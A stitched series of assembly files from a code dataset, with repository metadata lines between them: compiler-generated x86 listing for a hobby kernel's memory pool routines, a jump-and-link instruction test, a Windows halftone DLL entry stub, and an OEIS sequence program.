pool->Gran; cdq idiv DWORD PTR [ecx+16] ; 53 : return i; mov eax, esi mov DWORD PTR [ecx+24], edx jmp SHORT $LN13@IPool_Allo _IPool_Alloc ENDP _TEXT ENDS ; Function compile flags: /Ogspy ; File c:\users\cex123\desktop\fyp\develop\spartan\source\kernel\memory\heap\pool.c _TEXT SEGMENT _pool$ = 8 ; size = 4 _index$ = 12 ; size = 4 _IPool_Release PROC ; 60 : if (!pool) return false; mov eax, DWORD PTR _pool$[esp-4] test eax, eax je SHORT $LN6@IPool_Rele ; 61 : if (index < 0 || index > pool->Count) return false; mov ecx, DWORD PTR _index$[esp-4] test ecx, ecx js SHORT $LN6@IPool_Rele cmp ecx, DWORD PTR [eax+20] jg SHORT $LN6@IPool_Rele ; 62 : if (pool->Node[index] != 'x') return false; mov edx, DWORD PTR [eax+8] cmp BYTE PTR [edx+ecx], 120 ; 00000078H jne SHORT $LN6@IPool_Rele ; 63 : pool->Node[index] = 'o'; mov BYTE PTR [edx+ecx], 111 ; 0000006fH ; 64 : for (int i = pool->Next; i >= 0; i--) { mov ecx, DWORD PTR [eax+24] test ecx, ecx js SHORT $LN12@IPool_Rele ; 65 : if (pool->Node[i] == 'x') break; mov edx, DWORD PTR [eax+8] $LL4@IPool_Rele: cmp BYTE PTR [edx+ecx], 120 ; 00000078H je SHORT $LN12@IPool_Rele ; 66 : pool->Next = i; mov DWORD PTR [eax+24], ecx dec ecx jns SHORT $LL4@IPool_Rele $LN12@IPool_Rele: ; 67 : } ; 68 : return true; xor eax, eax inc eax ; 69 : } ret 0 $LN6@IPool_Rele: ; 61 : if (index < 0 || index > pool->Count) return false; xor eax, eax ; 69 : } ret 0 _IPool_Release ENDP _TEXT ENDS ; Function compile flags: /Ogspy ; File c:\users\cex123\desktop\fyp\develop\spartan\source\kernel\memory\heap\pool.c _TEXT SEGMENT _pool$ = 8 ; size = 4 _item$ = 12 ; size = 4 _IPool_Insert PROC ; 71 : void *IPool_Insert(CPool *pool, void *item) { push edi ; 72 : if (!pool) return 0; mov edi, DWORD PTR _pool$[esp] test edi, edi jne SHORT $LN3@IPool_Inse $LN6@IPool_Inse: xor eax, eax pop edi ; 80 : } ret 0 $LN3@IPool_Inse: ; 73 : ; 74 : int index = IPool_Alloc(pool); push edi call _IPool_Alloc pop ecx ; 75 : if (index < 0) return 0; test eax, eax js SHORT $LN6@IPool_Inse ; 76 : ; 77 : char *data = &pool->Data[index*pool->Gran]; push esi mov esi, DWORD PTR [edi+16] imul esi, eax add esi, DWORD PTR [edi+12] ; 78 : if (item) movsd(data, item, pool->Gran/4); cmp DWORD PTR _item$[esp+4], 0 je SHORT $LN1@IPool_Inse mov eax, DWORD PTR [edi+16] cdq and edx, 3 add eax, edx sar eax, 2 push eax push DWORD PTR _item$[esp+8] push esi call _movsd add esp, 12 ; 0000000cH $LN1@IPool_Inse: ; 79 : return data; mov eax, esi pop esi pop edi ; 80 : } ret 0 _IPool_Insert ENDP _TEXT ENDS ; Function compile flags: /Ogspy ; File c:\users\cex123\desktop\fyp\develop\spartan\source\kernel\memory\heap\pool.c _TEXT SEGMENT _pool$ = 8 ; size = 4 _item$ = 12 ; size = 4 _IPool_Remove PROC ; 83 : if (!pool || !item) return false; mov ecx, DWORD PTR _pool$[esp-4] test ecx, ecx je SHORT $LN1@IPool_Remo mov eax, DWORD PTR _item$[esp-4] test eax, eax je SHORT $LN1@IPool_Remo ; 84 : int index = ((int)item - (int)pool->Data) / pool->Gran; sub eax, DWORD PTR [ecx+12] cdq idiv DWORD PTR [ecx+16] ; 85 : return IPool_Release(pool, index); push eax push ecx call _IPool_Release pop ecx pop ecx ; 86 : } ret 0 $LN1@IPool_Remo: ; 83 : if (!pool || !item) return false; xor eax, eax ; 86 : } ret 0 _IPool_Remove ENDP _TEXT ENDS END
21.96248
111
0.594593
1f971d24bd9359618d68631e8c7cfaea7a94e972
263
asm
Assembly
sw/552tests/inst_tests/jal_12.asm
JPShen-UWM/ThreadKraken
849c510531f28e36d3469535737b2120bd774935
[ "MIT" ]
1
2022-02-15T16:03:25.000Z
2022-02-15T16:03:25.000Z
sw/552tests/inst_tests/jal_12.asm
JPShen-UWM/ThreadKraken
849c510531f28e36d3469535737b2120bd774935
[ "MIT" ]
null
null
null
sw/552tests/inst_tests/jal_12.asm
JPShen-UWM/ThreadKraken
849c510531f28e36d3469535737b2120bd774935
[ "MIT" ]
null
null
null
// Original test: ./jmeyer/hw4/problem6/jal_0.asm // Author: jmeyer // Test source code follows jal 4 //Tests positive jal (PC <- 0x06, R7 <- 0x02) jal 0 //Tests jal of 0 (PC <- 0x04, R7 <- 0x04) halt jal -6 //Tests negative jal (PC <- 0x02, R7 <- 0x08)
26.3
53
0.627376
af652bcd897706cabc6a28e6693a8c6251d4855c
1,128
asm
Assembly
windows/core/ntgdi/halftone/ht/i386/htstub.asm
npocmaka/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
17
2020-11-13T13:42:52.000Z
2021-09-16T09:13:13.000Z
windows/core/ntgdi/halftone/ht/i386/htstub.asm
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
2
2020-10-19T08:02:06.000Z
2020-10-19T08:23:18.000Z
windows/core/ntgdi/halftone/ht/i386/htstub.asm
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
14
2020-11-14T09:43:20.000Z
2021-08-28T08:59:57.000Z
PAGE 60, 132 TITLE Stub for halftone DLL COMMENT ` Copyright (c) 1990-1991 Microsoft Corporation Module Name: htstub.asm Abstract: This module is provided as necessary for OS/2 as a DLL entry point Author: 05-Apr-1991 Fri 15:55:08 created -by- Daniel Chou (danielc) [Environment:] Printer Driver. [Notes:] Revision History: ` .XLIST INCLUDE i386\i80x86.inc .LIST EndFunctionName CATSTR <> IF HT_ASM_80x86 NeedStub = 0 IFDEF _OS2_ NeedStub = 1 ENDIF IFDEF _OS_20_ NeedStub = 1 ENDIF IF NeedStub EndFunctionName CATSTR <HalftoneInitProc> .CODE extrn HalftoneInitProc:FAR HalftoneDLLEntry proc FAR push di ; push the hModule call HalftoneInitProc pop bx ; C calling convention ret HalftoneDLLEntry ENDP ENDIF ; NeedStub ENDIF ; HT_ASM_80x86 % END EndFunctionName ; make this one at offset 0
14.278481
76
0.554965
9c3b41643753ce6a7d6e35b8f86e3520b150921b
650
asm
Assembly
oeis/093/A093145.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/093/A093145.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/093/A093145.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A093145: Third binomial transform of Fibonacci(3n)/Fibonacci(3). ; 0,1,10,80,600,4400,32000,232000,1680000,12160000,88000000,636800000,4608000000,33344000000,241280000000,1745920000000,12633600000000,91417600000000,661504000000000,4786688000000000,34636800000000000,250634240000000000,1813606400000000000,13123379200000000000,94961664000000000000,687149056000000000000,4972257280000000000000,35979591680000000000000,260350771200000000000000,1883915878400000000000000,13632143360000000000000000,98643116032000000000000000,713788293120000000000000000 mov $2,1 lpb $0 sub $0,1 mul $2,2 add $1,$2 sub $2,$1 mul $1,10 lpe div $1,20 mov $0,$1
46.428571
483
0.846154